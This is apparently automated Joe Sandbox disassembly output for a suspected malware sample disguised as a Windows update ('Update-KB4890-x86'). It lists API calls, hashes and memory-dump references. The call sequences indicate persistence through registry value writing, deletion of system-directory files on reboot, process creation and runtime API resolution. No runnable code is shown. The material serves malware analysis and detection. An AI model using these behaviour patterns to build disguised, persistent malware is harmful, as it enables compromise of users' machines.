                                                                    • API String ID: 633426975-1940365277
                                                                    • Opcode ID: 69dfe3e2ad568bfae82bd1608e3d8c6f51c46d62c4de821528446c51c84c10da
                                                                    • Instruction ID: e6c0c0694c561dc4f23d5baa3025b2d471003fa36f15fb022360e7d662cf5cb9
                                                                    • Opcode Fuzzy Hash: 69dfe3e2ad568bfae82bd1608e3d8c6f51c46d62c4de821528446c51c84c10da
                                                                    • Instruction Fuzzy Hash: B7E16B3014C7C18EE321CB789848B9BBFD46BA6324F185A5DF2E48B2E2C7B58405D767
                                                                    APIs
                                                                    • GetProcAddress.KERNEL32(00000000,0000008A), ref: 0041DA87
                                                                    • GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DB60
                                                                    • LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000007,?,00000001), ref: 0041DC17
                                                                    • GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DCDE
                                                                    • GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DDB9
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: AddressProc$LibraryLoad
                                                                    • String ID: $$$$&$1$1$6$6$7$9$;$<$@$H$H$I$I$J$L$L$L$M$M$S$S$S$T$T$W$X$X$_$`$`$g$i$m$o$p$t$u$|$~
                                                                    • API String ID: 2238633743-2441341231
                                                                    • Opcode ID: e2dc3851afeb3bcb58ee0b1189764dea58b54e676dc674a3f0b7cb1962383261
                                                                    • Instruction ID: f0a6fbca38eaa9f6d36dd2073cba8300d351a760273fb7828a6aeea559b7586c
                                                                    • Opcode Fuzzy Hash: e2dc3851afeb3bcb58ee0b1189764dea58b54e676dc674a3f0b7cb1962383261
                                                                    • Instruction Fuzzy Hash: B9A1762010C7C1CDD332D27D984879FBFD11BA3368F484A9DA1E85A2D2D7AA8549C777
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: wsprintf
                                                                    • String ID: )$)$)$)$)$)$/$1$<$<$<$<$<$C$C$C$C$C$C$E$J$K$U$V$V$V$V$V$[$\$]$b$c$f$j$l$q$q$q$q$q$s$s$s$s$s$s$t$u$x$y$z${
                                                                    • API String ID: 2111968516-877203839
                                                                    • Opcode ID: 2b5871d10edba0c0daadef3549677835c7a0ea46b4b24e0847e491320e849e80
                                                                    • Instruction ID: b8cea7b21e1b0b0dd3eef741e46aff7ac42a2e861af7119df59345f413ed0d70
                                                                    • Opcode Fuzzy Hash: 2b5871d10edba0c0daadef3549677835c7a0ea46b4b24e0847e491320e849e80
                                                                    • Instruction Fuzzy Hash: 2BB1E810D0C7D999EB22C2FC94587DEBFB50F27318F580299D5E47B2D2C2AA0249C77A
                                                                    APIs
                                                                    • GetProcessHeap.KERNEL32(00000008,00000104), ref: 0041F51C
                                                                    • HeapAlloc.KERNEL32(00000000), ref: 0041F523
                                                                    • GetSystemDirectoryA.KERNEL32(00000000,00000104), ref: 0041F546
                                                                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000054), ref: 0041F5DA
                                                                    • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,?,00000014), ref: 0041F609
                                                                    • CloseHandle.KERNEL32(00000014), ref: 0041F628
                                                                    • CloseHandle.KERNEL32(00000022), ref: 0041F62F
                                                                    • GetProcessHeap.KERNEL32(00000000,00000000), ref: 0041F634
                                                                    • HeapFree.KERNEL32(00000000), ref: 0041F63B
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Heap$Process$CloseCreateHandle$AllocDirectoryEventFreeSystem
                                                                    • String ID: $ $"$"$($)$)$*$*$.$0$8$;$D$D$D$D$E$E$L$N$N$P$S$S$T$T$V$Z$`$i$o$p$s$v$z
                                                                    • API String ID: 1999696495-2708113935
                                                                    • Opcode ID: 738ece0ca0369f4287c7408b09edaf122eaf261e57d7ddf3076aad516e63fadf
                                                                    • Instruction ID: 6417ec356ac032fdf8ba3c7335fdffbff661ba0545f4a4a4b03294bf4e60ec5a
                                                                    • Opcode Fuzzy Hash: 738ece0ca0369f4287c7408b09edaf122eaf261e57d7ddf3076aad516e63fadf
                                                                    • Instruction Fuzzy Hash: 40D1062110C7C19AD322CB3C984878FBFD15BA7618F584A9DF1E44B3E2C6A5854AC76B
                                                                    APIs
                                                                    • RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F003F,00000001), ref: 00412EBA
                                                                    • RegQueryValueExA.ADVAPI32(000000F2,00000092,00000000,000000EC,?,?,00000000), ref: 00412F74
                                                                    • RegCloseKey.ADVAPI32(00000104), ref: 00412F88
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: CloseOpenQueryValue
                                                                    • String ID: #$%$'$0$0$1$4$4$9$:$;$=$>$>$C$D$D$I$J$L$M$O$R$S$V$W$[$_$`$c$c$d$e$g$h$p$t$v$y$}
                                                                    • API String ID: 3677997916-3213928184
                                                                    • Opcode ID: 805f5db3b6766ee56b7c3c7fc3f70b7fb85de0509d2b3a5550262d5443ef15e8
                                                                    • Instruction ID: 3f64c0876ea013b4995e57e445dd95fb29515ce67b52a393eb856a41c12e0995
                                                                    • Opcode Fuzzy Hash: 805f5db3b6766ee56b7c3c7fc3f70b7fb85de0509d2b3a5550262d5443ef15e8
                                                                    • Instruction Fuzzy Hash: 80A1B32110D7C199D322C67C984874FFFD51BA7228F584A9DF1E44B3E3C2AA8649C76B
                                                                    APIs
                                                                    • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004131E0
                                                                    • lstrcatA.KERNEL32(?,0042E3FC), ref: 004131F0
                                                                    • RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F003F), ref: 0041320B
                                                                    • lstrlenA.KERNEL32(?), ref: 00413237
                                                                    • RegSetValueExA.ADVAPI32(?,8s2?,00000000,00000001,?,00000000), ref: 00413250
                                                                    • RegCloseKey.ADVAPI32(?,?,8s2?,00000000,00000001,?,00000000), ref: 0041325A
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: CloseFileModuleNameOpenValuelstrcatlstrlen
                                                                    • String ID: #$,$0$2$3$7$8s2?$;$?$?$@$B$G$P$P$S$X$\$]$^$_$`$d$e$k$o$r$s$s$t$v$~
                                                                    • API String ID: 2804959344-2516123405
                                                                    • Opcode ID: 5fb862093511ecca7038c8434d92067763cea830cdae3e94af674eb022a143b1
                                                                    • Instruction ID: 3ee603018d8f15d3993d5d5bb64ccc4771c2b301eb19da9cd57cd54bae0688a3
                                                                    • Opcode Fuzzy Hash: 5fb862093511ecca7038c8434d92067763cea830cdae3e94af674eb022a143b1
                                                                    • Instruction Fuzzy Hash: 2091B62100D7C299D322D77C584864FFFE15BA7228F485A9DF1E45B3E3C2A98249C767
                                                                    APIs
                                                                    • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00423155
                                                                    • DeleteFileA.KERNEL32(?), ref: 0042319C
                                                                    • MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 004231B1
                                                                    • DeleteFileA.KERNEL32(?), ref: 004231E9
                                                                    • MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 004231F7
                                                                    • DeleteFileA.KERNEL32(?), ref: 0042322F
                                                                    • MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 0042323D
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: File$DeleteMove$DirectorySystem
                                                                    • String ID: $"$"$%s\%s$)$)$)$*$;$;$A$D$E$E$E$N$N$N$P$P$P$S$S$S$T$T$T$`$h
                                                                    • API String ID: 84336133-1389313269
                                                                    • Opcode ID: b14c0ae8dd574057b783fe73dec11bd29fa77d45c1026e4e750054b185980695
                                                                    • Instruction ID: 6d08323a6e56f1df77390437f2eab8c0537e31e2364f4842ab75f608d072a465
                                                                    • Opcode Fuzzy Hash: b14c0ae8dd574057b783fe73dec11bd29fa77d45c1026e4e750054b185980695
                                                                    • Instruction Fuzzy Hash: 44B1E96110C7C199D322DA7D9848B8FFFD51BE7218F480E9DB1E45B2D2C2A9824DC7A7
                                                                    APIs
                                                                    • lstrlenA.KERNEL32(?,75570440), ref: 0040C634
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: lstrlen
                                                                    • String ID: $$$&$'$($)$+$.$:$;$=$@$A$D$F$I$O$O$O$[$\$`$`$a$a$c$d$g$g$k$n$p$q$u$x$z$}$~
                                                                    • API String ID: 1659193697-1776773038
                                                                    • Opcode ID: 2631a85855c076cd5aacd475e32cb0067b642e929b393d4f98d7008e1ed6a5c1
                                                                    • Instruction ID: a6680903d8d87bbf61f69c5cc6f64f2f96010d0bd9b0eb87acbe41b91fb4e4d2
                                                                    • Opcode Fuzzy Hash: 2631a85855c076cd5aacd475e32cb0067b642e929b393d4f98d7008e1ed6a5c1
                                                                    • Instruction Fuzzy Hash: 53F1C31100C7C2C9D322D63D588878FFFD11BA7228F585B9DF1E89A2E3C6A5810AC767
                                                                    APIs
                                                                    • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00422115
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: DirectorySystem
                                                                    • String ID: $"$"$)$)$)$*$;$;$A$D$E$E$E$N$N$N$P$P$P$S$S$S$T$T$T$`$fwe$h
                                                                    • API String ID: 2188284642-27414503
                                                                    • Opcode ID: dcee0e740fe624b1217ea88155760fb8fe99a8999ef861ec3cef7feef8dc3231
                                                                    • Instruction ID: 3c27c6c0b435376128c9c62176485abffcf5cee6cb450e7dbb9848ef72dacce5
                                                                    • Opcode Fuzzy Hash: dcee0e740fe624b1217ea88155760fb8fe99a8999ef861ec3cef7feef8dc3231
                                                                    • Instruction Fuzzy Hash: 75D13A2110C7C28AD322CA3C585879BFFD11BE6318F480B9DE5E45B2D2C7A9864DC7A7
                                                                    APIs
                                                                    • GetCurrentDirectoryA.KERNEL32(00000104,?,?,00000000,?,0000007B), ref: 00412643
                                                                    • GetTempFileNameA.KERNEL32(?,0042E292,00000000,?,?,0000007B), ref: 00412660
                                                                      • Part of subcall function 0040C1D0: GetTickCount.KERNEL32 ref: 0040C1DA
                                                                      • Part of subcall function 0040C1D0: GetTickCount.KERNEL32 ref: 0040C1E8
                                                                      • Part of subcall function 0040C1D0: GetTickCount.KERNEL32 ref: 0040C1F6
                                                                      • Part of subcall function 0040C1D0: GetTickCount.KERNEL32 ref: 0040C204
                                                                    • GetProcessHeap.KERNEL32(00000000,00000000,?,0000007B), ref: 00412681
                                                                    • HeapAlloc.KERNEL32(00000000,?,0000007B), ref: 00412684
                                                                    • CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000,?,0000007B), ref: 004126C6
                                                                    • WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,0000007B), ref: 004126D8
                                                                    • CloseHandle.KERNEL32(00000000,?,0000007B), ref: 004126E5
                                                                    • GetProcessHeap.KERNEL32(00000000,00000000,?,0000007B), ref: 004126EA
                                                                    • HeapFree.KERNEL32(00000000,?,0000007B), ref: 004126ED
                                                                    • ExpandEnvironmentStringsA.KERNEL32(0000004F,?,00000208), ref: 00412920
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: CountHeapTick$File$Process$AllocCloseCreateCurrentDirectoryEnvironmentExpandFreeHandleNameStringsTempWrite
                                                                    • String ID: '$)$4$7$<$A$D$I$K$N$O$W$\$_$j$x
                                                                    • API String ID: 1204127460-4239860483
                                                                    • Opcode ID: e9142f7ef01560981e5ace9b92d93c22cb7fba4bdb225b2538245e4787c0e303
                                                                    • Instruction ID: fc50ba5ee65d84b0438dc11ee2d5e43eb154a7910d067eaa4cf43abc5e739b9a
                                                                    • Opcode Fuzzy Hash: e9142f7ef01560981e5ace9b92d93c22cb7fba4bdb225b2538245e4787c0e303
                                                                    • Instruction Fuzzy Hash: 03A15E2110C7C19ED33197399889BDBBFD45FA7214F184AADE2E8872D3C6B5440ACB67
                                                                    APIs
                                                                    • RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,000F003F), ref: 00415A87
                                                                    • RegQueryValueExA.ADVAPI32(?,0042E292,00000000,00000000,?,00000013), ref: 00415AB1
                                                                    • RegCloseKey.ADVAPI32(?,?,0042E292,00000000,00000000,?,00000013), ref: 00415ABE
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: CloseOpenQueryValue
                                                                    • String ID: $)$,$.$1$5$?$@$A$C$K$N$T$T$d$g$h$i$l$n$p$r$s$u$v$w$z
                                                                    • API String ID: 3677997916-1350007012
                                                                    • Opcode ID: fdaef75e701aef0404f417bb4a93cf4983beae994bab8cf610ec57c9fe9431a7
                                                                    • Instruction ID: bf718c844d1271869f6f5a4619d4bc1fbd5c2e1576c271db0d89f6da38526253
                                                                    • Opcode Fuzzy Hash: fdaef75e701aef0404f417bb4a93cf4983beae994bab8cf610ec57c9fe9431a7
                                                                    • Instruction Fuzzy Hash: 0871B72050C7C1DDD322C67C984874FBFD11BA7328F484B8DF1E45A2E6D2AA8649C76B
                                                                    APIs
                                                                    • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004123BE
                                                                      • Part of subcall function 0041DF40: CreateFileA.KERNEL32(00000000,00000001,00000001,00000000,00000003,00000000,00000000,75572EE0,00000001,00000000,004123D8,?,?,?), ref: 0041DF78
                                                                      • Part of subcall function 0041DF40: GetFileSize.KERNEL32(00000000,00000000), ref: 0041DF88
                                                                      • Part of subcall function 0041DF40: CloseHandle.KERNEL32(00000000), ref: 0041DF95
                                                                    • GetProcessHeap.KERNEL32(00000000,?), ref: 004123EE
                                                                    • HeapFree.KERNEL32(00000000), ref: 004123F5
                                                                    • GetProcessHeap.KERNEL32(00000000,?,00000000,00000000), ref: 00412439
                                                                    • HeapAlloc.KERNEL32(00000000), ref: 0041243C
                                                                    • GetProcessHeap.KERNEL32(00000000,?,75572EE0,00000001), ref: 0041247E
                                                                    • HeapFree.KERNEL32(00000000), ref: 00412487
                                                                    • GetProcessHeap.KERNEL32(00000000,00000000), ref: 004124AC
                                                                    • HeapAlloc.KERNEL32(00000000), ref: 004124AF
                                                                    • GetProcessHeap.KERNEL32(00000000,00000000), ref: 004124C4
                                                                    • HeapFree.KERNEL32(00000000), ref: 004124C7
                                                                    • GetProcessHeap.KERNEL32(00000000,00000000), ref: 004124FD
                                                                    • HeapFree.KERNEL32(00000000), ref: 00412500
                                                                    • GetProcessHeap.KERNEL32(00000000,00000000), ref: 0041250E
                                                                    • HeapFree.KERNEL32(00000000), ref: 00412511
                                                                    Memory Dump Source
